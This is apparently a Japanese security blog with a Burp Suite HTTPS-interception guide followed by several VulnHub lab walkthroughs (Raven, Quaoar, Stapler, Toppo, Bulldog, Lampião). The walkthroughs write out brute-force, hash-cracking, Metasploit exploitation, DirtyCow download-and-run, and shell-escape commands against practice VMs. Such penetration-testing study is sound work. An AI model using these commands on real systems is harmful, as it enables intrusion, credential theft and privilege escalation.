Burp Suiteをローカルプロキシに設定して、HTTPS通信をキャプチャする方法
はじめに
kali linux上でBurp Suiteをローカルプロキシに設定し、HTTPS通信をキャプチャする方法。一部手こずった所があったので備忘録として残す。
手順①(Burp Suiteの起動~ブラウザ設定)
kali linux左メニューよりBurp Suiteを起動。「Temporary project」→「Use Burp defaults」を選択後、「Start Burp」でBurp開始。
Burp Suiteのデフォルトのポート番号は8080となっている。「Proxy」→「Options」タブで設定が確認可能。変更したい場合は「Edit」から変更できる。
続いてブラウザのプロキシをBurp Suite(IP:127[.]0.0.1、ポート:8080)に設定する。
ブラウザ右上の「Open Menu(≡)」→「Preferences(歯車マーク)」を選択後、最下部までスクロールしNetwork Proxyの「Settings」を選択し、以下のように設定。「OK」をクリックし、設定を反映して終了。
(参考)FoxyProxyの導入・設定方法
上記でも問題なく設定できるが、プロキシ設定の変更が面倒。そのため、プロキシの切り替えを容易に行える「FoxyProxy(ブラウザの拡張機能)」が推奨。導入方法は以下の通り。
「Open Menu(≡)」→「Add-ons」→「Find more add-ons」を選択後、"FoxyProxy"と検索。「FoxyProxy Standard」を選択し、「+ Add to Firefox」。ちゃんと入ればブラウザ上部に以下のようなアイコンが表示される。
続いて、Burp Suiteをプロキシに設定する。↑↑のアイコンを選択後、「Options」→「Add」をクリック。以下の様に入力し、「Save」。
FoxyProxyのアイコンをクリックすると、プロキシが追加されているので、選択。以降は簡単にプロキシ設定を切り替えられる。
手順②(Burp Suite証明書のインストール)
プロキシをBurp Suiteに設定した状態でgoogle(https://www.google.com)にアクセスしようとすると、ブラウザにBurp Suiteの証明書がインポートされていないため、以下のエラーが表示される。
まず、Burp Suiteの証明書をダウンロードする。プロキシに設定したIP:ポート番号(今回の場合は127[.]0.0.1:8080)を検索後、「CA Certificate」を選択し、証明書を保存。
続いて、ダウンロードした 証明書をブラウザへインポート。
「Open Menu(≡)」→「Preferences(歯車マーク)」をクリック。左メニューから「Privacy & Security」を選択して最下部までスクロール。「View Certificates」をクリック。「Import」より、ダウンロードした証明書を選択。「Trust this CA to identify websites」にチェックを入れ、「OK」。
インポートされたことを確認。
手順③(security.tls.version.max値の変更)
手順①、②が終われば完了だと思っていたが、googleにアクセスしようとしてもエラーがでたまま。(ここでかなり手こずる)
以下の設定を行ったら、googleにアクセスでき、Burp Suiteで通信をキャプチャできた。
ブラウザで「about:config」を検索後、検索窓に「tls」を入力。「security.tls.version.max」の値を"3"に変更(デフォルトは"4")。
参考
security.tls.version.min/maxはブラウザが対応するTLSのバージョンの最小(min)と最大(max)の値。
Security.tls.version.* - MozillaZine Knowledge Base
【VulnHub】Raven: 1 -Walkthrough-
はじめに
今回は以下のVM。
- VM:Raven: 1
- Level:Beginner
- URL:https://www.vulnhub.com/entry/raven-1,256/
今回はVMware Workstation(NAT)を使った。flagは4つあるとのこと。
情報収集
ターゲットのIPアドレスの特定から。(攻撃側(kali linux)のIPアドレスは192.168.196.129)
#netdiscover -r 192.168.196.0/24
-r:スキャン範囲の指定。デフォルトでは、192.168.0.0/16。
続いてポートスキャン。
#nmap -sV -A -p- 192.168.196.131
- -sV:バージョンスキャン
- -A:詳細情報取得
- -p-:フルポートスキャン
22番(ssh)、80番(http)、111番、33921番がopen。ブラウザで80番へアクセス。
右上にあるリンクに一つずつアクセスし、ソースを「flag」で文字列検索。SERVICEのリンク先にflag1を発見。
dirbでリンクされていないコンテンツを探す。
#dirb http://192.168.196.131
/vendor/と/wordpress/がある。/vendor/にアクセス。
PATHが怪しかったが、特に有力な情報ではなかった。
ブラウザから、/wordpress/wp-adminへアクセスしてみたが、アクセスできなかった。URLを見てみると「raven.local」へリダイレクトされている。(dirbの結果にも301とある。)
そこで、以下のようにhostsファイルに追記したことでアクセスできるようになった。
wordpressの脆弱性診断ツールであるwpscanを使う。
#wpscan --url http://raven.local/wordpress -e u
- --url:URLの指定
- -e u:ユーザ名の列挙
「michael」、「steven」がいることが分かった。
侵入
以下のuser.lstを用いて22番をhydraでパスワードクラックする。辞書ファイルには事前に解凍したrockyou.txtと、-e nsrオプションを用いる。
#hydra -L user.lst -P /usr/share/wordlists/rockyou.txt -e nsr ssh://192.168.196.131
- -L:ユーザリストファイルの指定
- -P:パスワードリストファイルの指定
- -e nsr:nは"null"で空欄を設定、sは"same"でユーザ名と同じパスワードを設定、rは"reverse"でユーザ名を逆転したパスワードを設定
ユーザ名:michael、パスワードmichaelを発見。これを使ってsshへアクセス。
入れた。flagを探す。
&find / -name flag* 2>/dev/null
/var/www配下にflag2.txtを発見。
権限昇格
rootへの権限昇格を目指す。前回記事同様、wordpressの設定ファイル(wp-config.php)を見に行く。
MySQLの認証情報、ユーザ名:root,、パスワード:R@v3nSecurityを発見。この情報を使って権限昇格を試みたが失敗。
sudoで実行できるコマンドの確認。なし。
$sudo -l
- -l:実行を許可サレタコマンド、パスを一覧表示
SUIDが設定されたファイルの中でも権限昇格に使えそうなものはない。
$find / -perm -4000 -type f 2>/dev/null
そもそも発見したのはMySQLのアカウント情報。MySQLへアクセスして、そこから権限昇格を目指す。
MySQLのポート(3306)が開いていることも確認。
発見したアカウント情報でMySQLへログイン成功。
$mysql -u root -p
- -u:ユーザ名指定
- -p:パスワード指定
以下の手順でテーブルを見つける。
mysql>show databases;
mysql>show tables;
ここまでで、「wp_users」というテーブルの存在が確認できた。
続いて、SQL文で「wp-users」テーブルを見に行く。
mysql>select * from users;
michael、stevenのパスワードハッシュを発見。mychaelのパスワードは既に判明している(michael)。stevenのパスワードが分かれば、そこからrootへの昇格ができそう。
john the ripperでパスワードクラックするために、まずは以下のようなpasshash.txtを作成。
パスワードクラック。
#john passhash.txt
結構時間はかかったが、stevenのパスワードが見つかった。
stevenとして侵入することに成功。
sudoで実行可能なコマンドを探す。
$sudo -l
- -l:実行を許可されたコマンド、パスを一覧表示
pythonが使えるので、以下を実行。
rootに権限昇格できた。/root配下にflag4.txtを発見。
flag3
flag3よりflag4が先に見つかったが、flag3は以下の手順で見つけた。
Username:steven、Password:pink84でログイン。
ログイン後、左メニューのPostsにflag3を発見。
【VulnHub】hackfest2016: Quaoar -Walkthrough-
はじめに
今回は以下のVM。
- VM:hackfest2016: Quaoar
- Level:Very easy
- URL:https://www.vulnhub.com/entry/hackfest2016-quaoar,180/
今回はVMware Workstation(NAT)を使った。起動後の画面に記載のあるように、以下それぞれのフェーズで1つずつ、計3つのflagがあるとのこと。
- Get a shell
- Get root access
- There is a post exploitation flag on the box
今回は、上記3つを見出しにして記載する。
Get a shell
ターゲットのIPアドレスの特定から。(攻撃側(kali linux)のIPアドレスは192.168.196.129)
#netdiscover -r 192.168.196.0/24
- -r:スキャン範囲の指定。デフォルトでは、192.168.0.0/16。
続いてポートスキャン。
#nmap -sV -A -p- 192.168.196.130
- -sV:バージョンスキャン
- -A:詳細情報取得
- -p-:フルポートスキャン
22番(ssh)、53番(dns)、80番(http)、139番(netbios-ssn)、143番(imap)、445番(smb),993番(imaps)、995番(pop3s)がopen。
ブラウザで80番へアクセス。
dirbでリンクされていないコンテンツの調査。
#dirb http://192.168.196.129
色々出てきた。wordpressという文字列もある。まずはrobots.txtへ。
Allowに記載のある/wordpress/は以下のような画面。左下にはログインページへのリンクもある。
wordpressの脆弱性診断ツールであるwpscanを使う。
#wpscan --url http://192.168.196.130/wordpress -e u
- --url:URLの指定
- -e u:ユーザ名の列挙
「admin」、「wpuser」というユーザがいることが分かった。ログインページのリンクよりログインページに移動し、Username「admin」、Password「admin」を試行したら入れた。
metasploitでwordpressのexploit codeを探す。shellを奪うには、以下が使えそう。
判明したアカウント情報などを用いて以下のように設定。
実行すると、meterpreterセッションが確立できた。現在のユーザ名はwww-data。bashを使うために以下を実行。
meterpreter>shell
python -c "import pty; pty.spawn('/bin/bash')"
/home/wpadminにflagを発見。
Get root access
rootへの権限昇格を目指す。sudoで実行できるコマンドやSUIDが設定されたファイルを探したが見つからなかった。wordpressの設定ファイル的なものを探していたら、以下のサイトを発見。
wp-config.php の編集 - WordPress Codex 日本語版
wp-config.phpファイルはWordPress のインストールを行なう上で最も重要なファイルの一つです。このファイルは WordPress のファイルディレクトリのルート直下に置かれ、中にはMySQLデータベースへの接続情報などサイトの基礎となる詳細な構成情報が含まれます。
とのこと。/var/www/wordpress配下にあるwp-config.phpを確認すると、上記記載通りMySQLのアカウント情報があった。(しかもroot)
このアカウント情報でsshへアクセス成功。/rootにflagを発見。
There is a post exploitation flag on the box
3つ目のflagを探す。post exploitationとは侵入を成功した後の行動(例えば横感染、永続化)を指す。ファイル名が「flag」で始まるものを探してみた。
#find / -name flag*
出てきた2つは既に上記で見つけたもの。3つ目のflag.txtはなさそうなので何かのファイルの中にflagの記載があると予想できる。永続化だとcronが考えられる。/etc/cron.dに「php5」というファイルが存在。中を確認し、3つ目のflagを発見。
【VulnHub】Stapler: 1 -Walkthrough-
はじめに
今回は以下のVM。
- VM:Stapler: 1
- Level:Beginner
- URL:https://www.vulnhub.com/entry/stapler-1%2C150/
環境構築は、以下を参考。
情報収集
ターゲットのIPアドレスの特定から。(攻撃側(kali linux)のIPアドレスは10.0.10.10)
#netdiscover -r 10.0.10.0/24
-r:スキャン範囲の指定。デフォルトでは、192.168.0.0/16。
続いてポートスキャン。
#nmap -sV -A -p- 10.0.10.13
- -sV:バージョンスキャン
- -A:詳細情報取得
- -p-:フルポートスキャン
21番(ftp)、22番(ssh)、53番(dns)、80番(http)、139番(netbios-ssn)、666番(doom)、3306番(mysql)、12380番(http)がopen。
21番の「Anonymous logon allowed」が気になるが、まずは80番から。ブラウザでアクセスしたが、404が返ってきた。
dirbでも何も見つからない。
#dirb http://10.0.10.13
気になっていた21番の調査を開始。kali linuxにはftpが入っていなかったので、インストール。
#apt-get install ftp
ポートスキャンの結果にある「Anonymous logon」とはユーザ登録を行っていないユーザでもAnonymous(匿名)でFTPサーバへファイルを送受信できるという物。ログインする際にはユーザ名に「anonumous」、パスワードは任意(空欄OK)。
※マナーではメールアドレスを入力するらしい。
パスワードは空欄OKなようなので、空欄でログインしてみる。
入れた。ファイルのリストを確認すると「note」というファイルがあった。ftpだとcatは使えない。noteをローカルに持ってくる。
ftp>get note
noteの中身は↓↓
Elly、Johnという名前が見つかるので、hydraでパスワードクラックするためにユーザリストを作成。パスワードは候補ないからhydraのオプションでなんとかする。
侵入
21番(ftp)に対してパスワードクラック。
#hydra -L user.lst -e nsr ftp://10.0.10.13
※-L:ユーザリストファイルの指定
※-e nsr:nは"null"で空欄を設定、sは"same"でユーザ名と同じパスワードを設定、rは"reverse"でユーザ名を逆転したパスワードを設定
ユーザ名「elly」、パスワード「ylle」を発見。オプションnsrでいうとrで発見できたということ。同じものを22番(ssh)に試したが、ヒットしなかった。
見つけたアカウントでftpへログインした。ファイルのリストに「passwd」を発見。
ローカルに落とす。
ftp>get passwd
passwdファイルの中身を確認すると、存在するユーザがわかる。
一番左の列のユーザ名のみを抽出し、ユーザリスト(user2.lst)を作成する。
#cat passwd | cut -f 1 --delim=":" passwd > user2.lst
user2.lstを使って、hydraでsshパスワードクラック。
#hydra -L user2.lst -e nsr -t 4 ssh://10.0.10.13
※-L:ユーザリストファイルの指定
※-e nsr:nは"null"で空欄を設定、sは"same"でユーザ名と同じパスワードを設定、rは"reverse"でユーザ名を逆転したパスワードを設定
※-t: タスク数の指定
ユーザ名「SHayslett」、パスワード「SHayslett」を発見。オプションnsrでいうとsで発見できたということ。発見したアカウントでsshにログインする。以下のコマンドで、カーネル、OSのバージョンを調査。
$uname -a
$cat /etc/issue(ホチキスが表示)
uname -aよりOSは分かったが、バージョンが/etc/issueからは分からなかったので、バージョンは以下で調べた。
$cat /etc/lsb-release
<参考>
OSのバージョンは以下で調べることができる。
RedHat系:cat /etc/redhat-release
Fedora系:cat /etc/fedora-release
Debian系:cat /etc/debian_version
Ubuntu系:cat /etc/lsb-release
権限昇格
Ubuntu16.04でexploit codeを探す。
#searchsploit Ubuntu16.04
どれか使えるのかを探すのが一番難しい。やみくもに上からやっていくのも嫌なので今回は以下の観点で選んだ。
とすると上の枠で囲んだものかなと。囲ったものをwgetで持ってくる。
#wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
攻撃側(Kali linux)をWebサーバとして、ターゲットからダウンロードさせるため、落としてきた39772.zipを「/var/www/html」へ配置。以下コマンドでApache2を起動する。
#systemctl start apache2.service
侵入したターゲット上から攻撃側(Kali linux)へアクセスし、39772.zipを持ってくる。(次回からはターゲットもインターネットにつなごうかな)
$wget http://10.0.10.10/39772.zip
zipを解凍し、tarファイルを解凍する。
$unzip 39772.zip
$tar -xvf exploit.tar
あとはコンパイルして、実行すると、rootになれた。
exploit codeの使い方は以下サイトの下のほうに画像付きで説明されていたので、迷うことなくいけた。
/rootフォルダに移動し、flagをゲット。
【VulnHub】Toppo: 1 -Walkthrough-
はじめに
今回は以下のVM。
- VM:Toppo: 1
- Level:Beginner
- URL:https://www.vulnhub.com/entry/toppo-1,245/
環境構築は、以下を参考。
情報収集
ターゲットのIPアドレスの特定から。(攻撃側(kali linux)のIPアドレスは10.0.10.10)
#netdiscover -r 10.0.10.0/24
-r:スキャン範囲の指定。デフォルトでは、192.168.0.0/16。
VMを起動した段階で表示もされてた。
続いてポートスキャン。
#nmap -sV -A -p- 10.0.10.11
- -sV:バージョンスキャン
- -A:詳細情報取得
- -p-:フルポートスキャン
23番(ssh)、80番(http)、111(rpcbind)、59046番がopen。80番から調査スタート。
ブラウザからアクセスすると、ブログが表示された。
リンクされていないコンテンツを調査。
#dirb http://10.0.10.11
/admin/にアクセスすると、notes.txtがあった。中を見てみると、パスワードと、数字に挟まれたユーザ名らしきもの(ted)を発見。
侵入
ユーザ名:"ted"、パスワード:"12345ted123"でsshアクセスに成功した。
内部探査
sudoで許可されたコマンドを調査するために以下を実行したが、command not foundとなったので/etc/sudoersを確認した。
$sudo -l
- -l:実行を許可されたコマンド、パスを一覧表示
awkコマンドのみrootとして実行できることが分かった。awkを使ってOSコマンドを使う方法を調査した結果、参考になるサイトを発見。
以下のコマンドを実行すればよいとのこと。
awk '{system("OSのコマンド")}'
上記の実行方法で/rootフォルダの中身を確認すると、flag.txtを発見。同じようにして、flag.txtの中身を確認できた。
$awk '{system("ls -a /root")}'
$awk '{system("cat /root/flag.txt")}'
補足
以下を実行するとシェルが奪える。
以下の方法でもOK。python2.7がSUIDが設定されていたので、これを利用してシェルをゲット。
$find / -perm -4000 -type f 2>/dev/null
【VulnHub】Bulldog: 1 -Walkthrough-
はじめに
今回は以下のVM。
- VM:Bulldog:1
- Level:Beginner
- URL:https://www.vulnhub.com/entry/bulldog-1,211/
環境構築は、以下を参考。
情報収集
ターゲットのIPアドレスの特定から。(攻撃側(kali linux)のIPアドレスは10.0.10.10)
#netdiscover -r 10.0.10.0/24
- -r:スキャン範囲の指定。デフォルトでは、192.168.0.0/16。
※今回のVMは起動すればIPは表示されていた。
続いてポートスキャン。
#nmap -sV -A -p- 10.0.10.11
- -sV:バージョンスキャン
- -A:詳細情報取得
- -p-:フルポートスキャン
23番(ssh)、80番(http)、8080番(http)がopen。80番、8080番は同じかな。80番からスタート。
ブラウザでアクセスすると、ブルドック(犬)が現れる。とりあえず、リンクされていないコンテンツを調査する。
#dirb http://10.0.10.11
robots.txtは有益な情報なく、/admin/はDjangoのログインフォーム。
/dev/の下部にはメールアドレスの記載があった。
/dev/shellには"Webシェルを利用するためには認証しろ"という記載が有り。/adminからログインすれば使えるようになりそう。
侵入
メールアドレスのあった/devのページソースを見ると、コメントになっているでパスワードのハッシュを発見。40桁(160bit)なので、SHA1と予想。
john the ripperでパスワード解析をするために、以下のようなpasshash.txtを用意。
john the ripperの辞書ファイル(rockyou.txt)を利用するため、事前に解凍しておく。
#gunzip /user/share/wordlists/rockyou.txt.gz
<参考>
https://bytesoverbombs.io/cracking-everything-with-john-the-ripper-d434f0f6dc1c
jotn the ripperで指定できるハッシュアルゴリズムの確認方法は以下の通り。
#john --list=formats
上述の通りSHA1を予想しているので、アルゴリズムにはRaw-SHA1を指定。
#john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA1 passhash.txt
- --wordlist:総当たりする辞書ファイルの指定
- --format:アルゴリズムの指定
2ユーザのパスワードを特定できた。このアカウント情報を利用して/adminにログイン成功。
<参考>
下記のサイトでも特定できた。
https://hashkiller.co.uk/sha1-decrypter.aspx
内部探査
使用できるコマンドは限られているが、Webシェルも利用できた。Webシェル上で以下を実行し、root以外の有効なユーザとして、bulldogadminとdjangoを発見。
/home/bukkdogadminに「.hiddenadmindirectory」という名前の怪しいディレクトリを発見。
ディレクトリの中には、「customPermissionAPP」と「note」がある。
"&&"もしくは"||"を使うことで、許可されたコマンド以外も実行できた。
ELFファイルのをstringsで確認。
枠内の末尾"H"を取り除いて、文字列をつなげると、"SUPERultimatePASSWORDyouCANTget" と意味ありげな文章が出てくる。noteの文章をヒントに、djangoユーザで上記文字列を使って23番ポート(ssh)へアクセスしてみる。
いけた。
権限昇格
あとはsudoで権限昇格。パスワード"SUPERultimatePASSWORDyouCANTget"を入力。congrats.txtがあったので、完。
【VulnHub】Lampião: 1 -Walkthrough-
はじめに
Vulnhubを使ってのペンテスト勉強を開始。VulnhubはDHCPによるIPアドレス割り当てが必要。前回の記事でやり方を紹介しているので、参考に。初めてのWalkthroughなので、かなり丁寧に書きます。
今回Walkthrough(CTFでいうWriteup)を書いていくのは以下のVM。
- VM:Lampião 1
- Level:easy
- URL:https://www.vulnhub.com/entry/lampiao-1,249/
情報収集
まずはターゲットのIPアドレスの特定から。
#netdiscover -r 10.0.10.0/24
- -r:スキャン範囲を指定。デフォルトでは、192.168.0.0/16に対してスキャン。
10.0.10.254は前回記事で設定したDHCPサーバのIPアドレス。
次に、このターゲット上で開いているポート(起動しているサービス)を 調査。
#nmap -sV -A -p- 10.0.10.11
- -sV:バージョンスキャン
- -A:詳細情報取得
- -p-:フルポートスキャン
22番(ssh)、80番(http)、1898番(http)のポートがopen。80番(http)から調査。
ブラウザ上でターゲットのIPアドレス(10.0.10.11)を入力すると、以下のような画面が表示された。
なんて書いてあるのか不明。これ以上進めなかったので、1898番へアクセス。
ブログのようなものが表示された。今の時点ではUsername、Password共に不明。
Webコンテンツスキャナである、dirbを使ってリンクされていないコンテンツを探索。
#dirb http://10.0.10.11:1898
以下robots.txtの内容。
Disallowと書かれている所を上から順にアクセスすると、「/CHANGELOG.txt」にDrupalのバージョンの記載を発見。
侵入
上記で得た情報で侵入を目指します。DrupalのExploit codeをEXPLOIT DATABASEで探す。
このあたりがいけそう。kali linuxにはEXPLOIT DATABASE内のExploit codeを探してくれるコマンド(searchesploit)があるっぽいので、試した。
#searchesploit drupal
Drupalgeddon2、Drupalgeddon3共にmetasploiにもあるとのこと。Drupalgeddon3は(Authenticated)と書かれているように、認証が必要そうなので、Drupalgeddon2を使う。
metasploitを起動。
#msfconsole
Drupalに関するExploit codeのパスを探す。
>search drupal
これを使う。以下2つを実行。
>use exploit/unix/webapp/drupal_drupalgeddon2
>show options
RHOST(Remote Host)をターゲットのIPアドレスである10.0.10.11に、RPORT(Remote Port)をポート番号1898に設定。
>set RHOST 10.0.10.11
>set RPORT 1898
>show options
設定完了。Exploit codeを実行。
>exploit
meterpreterセッションが確立したので侵入成功。どのユーザで侵入できたか確認。また、etc/passwdファイルより、どんなユーザがいるのか見てみる。
>getuid
>cat /etc/passwd
現在はwww-dataという名前のユーザ。tiagoというユーザも確認できる。今のままでは使用できるコマンドが限られてる。bashを使用して内部探索するために、以下を実行。
>shell
これでbashシェルが使えるようになった。
権限昇格
root権限への昇格を目指す。以下のコマンドでカーネルのバージョンと、OSのバージョンを確認。
$uname -a
$cat /etc/issue
このカーネルのバージョンだと、CVE-2016-5195が突けそう。Referencesにある
Exploit-DB:40847をダウンロードし、攻撃側(kali linux)の「/var/www/html」へ配置。以下コマンドでApache2を起動し、Webサーバとする。
systemctl start apache2.service
wgetでkali linuxから40847.cpp落とす。(とりあえず/tmpへ移動)
$wget http://10.0.10.10/40847.cpp
このExploit codeの最上部にはコンパイル方法が書かれていたので、それをそのまま実行。
$g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
すると、dcowというELFファイルが出来上がるので、実行。
$./dcow
rootパスワードがdirtyCowFunに変更された。後はrootになることで、/rootにあるflag.txtの中身を確認できた。
侵入 別解
上記では、DrupalのExploit codeを利用して侵入しましたが、別の方法もあったのでそちらも試してみた。ssh(22番)で侵入する。
以下の図より、記事の投稿者は「tiago」と「Eder」とあるため、sshで侵入する際のユーザ名の候補とする。
hydraを使って、ユーザリストとパスワードリストを作りたいので、この2人を含んだuser.lstを作成する。
パスワードはページ内にあることを期待して、以下のコマンドでパスワードリストを作成。
#cewl -w pass.lst http://10.0.10.11:1898/?q=node/1
- -w:出力ファイルの指定
ユーザリスト(user.lst)とパスワードリスト(pass.lst)が完成したので、hydraで総当たりする。
hydra -L user.lst -P pass.lst -t 4 ssh://10.0.10.11
- -L:ユーザリストファイルの指定
- -P:パスワードリストファイルの指定
- -t:タスク数の指定
ユーザ名、パスワードを発見。これを使って侵入成功。